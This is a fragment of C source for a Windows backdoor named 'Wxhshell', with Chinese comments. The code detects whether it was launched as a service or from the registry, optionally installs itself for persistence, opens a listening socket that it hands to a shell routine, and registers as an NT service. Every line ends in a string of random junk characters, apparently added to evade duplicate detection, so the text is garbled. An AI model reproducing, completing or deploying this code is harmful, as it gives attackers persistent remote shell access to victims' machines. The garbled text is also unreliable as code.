DWORD PebBaseAddress; ?:woUTyCv
DWORD AffinityMask; 84U?\f@u
DWORD BasePriority; a*kvU "]
ULONG UniqueProcessId; `AcUxnO
ULONG InheritedFromUniqueProcessId; #];b+ T
} PROCESS_BASIC_INFORMATION; XK+"
x!
Vd&&GI(:?^
PROCNTQSIP NtQueryInformationProcess; gc6Zy|^V4`
4>t'4p6{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; on^m2pQ
*p
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q# Yba
aTWCX${~b
HANDLE hProcess; w!kWG,{C
PROCESS_BASIC_INFORMATION pbi; x9!3i{_
'X%5i2
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |43dyJW
if(NULL == hInst ) return 0; z?3t^UPW
:HiAjaA1pg
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9\ulS2d
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d!P3<:+R[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7ciSIJ
iZ( U]
if (!NtQueryInformationProcess) return 0; Gv(?u
P Y&(ObC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iVSN>APe
if(!hProcess) return 0; o)]mJb~XG-
RW4,j&)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
%a\L^w)Xn
`uh+d
CloseHandle(hProcess); |PNPOj0
m+!T
$$W
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 63PSYj(y
if(hProcess==NULL) return 0; fw3P?_4;*
]. E/s(p
HMODULE hMod; '#eY4d<i]n
char procName[255]; Y
n7z#bu
unsigned long cbNeeded; rgw@
1=@csO_yn
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $o%:ST4
^ h?]$P
CloseHandle(hProcess); (ebC80M
E#zLm
if(strstr(procName,"services")) return 1; // 以服务启动 eHl)/='
U_KCN09
return 0; // 注册表启动 p}e1!q;N
} J`[v u4
X/BcS[a
// 主模块 wrhGZ=k{
int StartWxhshell(LPSTR lpCmdLine) ^B?brH}
{
eQU~A9
SOCKET wsl; SNOML7pd
BOOL val=TRUE; DJJd_
int port=0; UbDpSfub
struct sockaddr_in door; -]. a0
Dbg,|UH
if(wscfg.ws_autoins) Install(); g-LMct8$
q|zips,
port=atoi(lpCmdLine); HD_ #-M
k -!Jww
if(port<=0) port=wscfg.ws_port; zI.%b7wq
BqtUL_jm
WSADATA data; P
y!$r
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <8iu :nR
fNk0&M
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;k:17&:8ue
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y2M]z:Y U
door.sin_family = AF_INET; [[7=rn}@<
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3C
gmZ7[
door.sin_port = htons(port); ty\F~]Oo
.%G>z"Xx
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SpC6dkxD\
closesocket(wsl); [/Sk+ID
return 1; I} .9
} s H(io
]|_UpP8EP
if(listen(wsl,2) == INVALID_SOCKET) { =/e$Rp
closesocket(wsl); t2LX@Q"
return 1; I~F]e|Ehqr
} Ay@/{RZz
Wxhshell(wsl); g#%Egb1
WSACleanup(); Tf40lv+{
]%2y`Jrl^W
return 0; 6]|-%
VOSq%hB
} z 4qEC
_;mA(j
// 以NT服务方式启动 8 RA
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q2 Dh(
{ _$KEE|9
DWORD status = 0; ,4HZ-|EOZ
DWORD specificError = 0xfffffff; "F:V$,mJ
1| dXbyUd
serviceStatus.dwServiceType = SERVICE_WIN32; N c(f+8
serviceStatus.dwCurrentState = SERVICE_START_PENDING; {,B.OM)J
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wud-(19
serviceStatus.dwWin32ExitCode = 0; q8!X^1F7
serviceStatus.dwServiceSpecificExitCode = 0; F4]=(T
serviceStatus.dwCheckPoint = 0; NjbIt=y
serviceStatus.dwWaitHint = 0; 2jF}n*[OW
8ByNaXMO6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )kEH}P&
if (hServiceStatusHandle==0) return; {X10,
ntQW+!s;P
status = GetLastError(); /:@)De(S
if (status!=NO_ERROR) \SN>Yy
{ $ftxid8
serviceStatus.dwCurrentState = SERVICE_STOPPED; YSbeCyv
serviceStatus.dwCheckPoint = 0; -Q6Vz=ku
serviceStatus.dwWaitHint = 0;
]&OI.p
serviceStatus.dwWin32ExitCode = status; *?pnTQs^
serviceStatus.dwServiceSpecificExitCode = specificError; YYhN>d$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _>J`e7j+
return; F~sUfqiJ'
} t|m=X
WD@v<Wx)
serviceStatus.dwCurrentState = SERVICE_RUNNING; =Eb$rc)
serviceStatus.dwCheckPoint = 0; ws<pBC,m
serviceStatus.dwWaitHint = 0; .*B@1q
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E[Q2ZqhgbP
} wGw<z[:f
op($+Q
// 处理NT服务事件,比如:启动、停止 VCzb[.
VOID WINAPI NTServiceHandler(DWORD fdwControl) G
2`hEX%
{ ++ZP
X'|
switch(fdwControl) 9-Z?
{ 7Ue&y8Yf
case SERVICE_CONTROL_STOP: w7c0jIf{
serviceStatus.dwWin32ExitCode = 0; 26}fB
serviceStatus.dwCurrentState = SERVICE_STOPPED; y~'%PUN
serviceStatus.dwCheckPoint = 0; >8|V[-H
serviceStatus.dwWaitHint = 0; D63?f\
{ \M;cF"e-S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qpjiQ,\:b
} \]0#jI/:
return; C;?<WtH
case SERVICE_CONTROL_PAUSE: \dbaY: (
serviceStatus.dwCurrentState = SERVICE_PAUSED; d;nk>6<|
break; J"-/ok(<@
case SERVICE_CONTROL_CONTINUE: 7 lSR
serviceStatus.dwCurrentState = SERVICE_RUNNING; &4wwp !J
break; [A'e7Do%'
case SERVICE_CONTROL_INTERROGATE: j\HZ5
break; #^tnRfS"
}; LYr9a(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t&i